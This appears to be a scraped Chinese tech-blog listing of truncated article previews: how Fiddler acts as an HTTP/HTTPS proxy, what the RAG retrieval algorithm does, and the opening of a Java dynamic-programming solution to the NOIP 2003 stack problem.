1、作为代理服务器 Fiddler作为代理服务器&#xff0c;拦截了设备与互联网服务器之间的所有HTTP和HTTPS流量。当客户端&#xff08;如浏览器&#xff09;发送请求时&#xff0c;请求先到达Fiddler&#xff0c;然后由Fiddler转发到目标服务器&#xff1b;服务器的响应也会返回给…...

RAG(Retrieval-Augmented Generation)召回算法是检索增强生成模型中的关键组件

RAG&#xff08;Retrieval-Augmented Generation&#xff09;召回算法是检索增强生成模型中的关键组件&#xff0c;其核心目标是从大规模文档库中高效检索与输入查询相关的信息&#xff0c;以辅助生成模型产生更准确的回答。以下是该算法的关键点解析&#xff1a; ### 1. **核…...

[NOIP 2003 普及组] 栈 Java

import java.io.*;public class Main {public static void main(String[] args) throws IOException {BufferedReader br new BufferedReader(new InputStreamReader(System.in));int n Integer.parseInt(br.readLine());int[] dp new int[n 1];dp[0] 1; // 空序列只有一种…...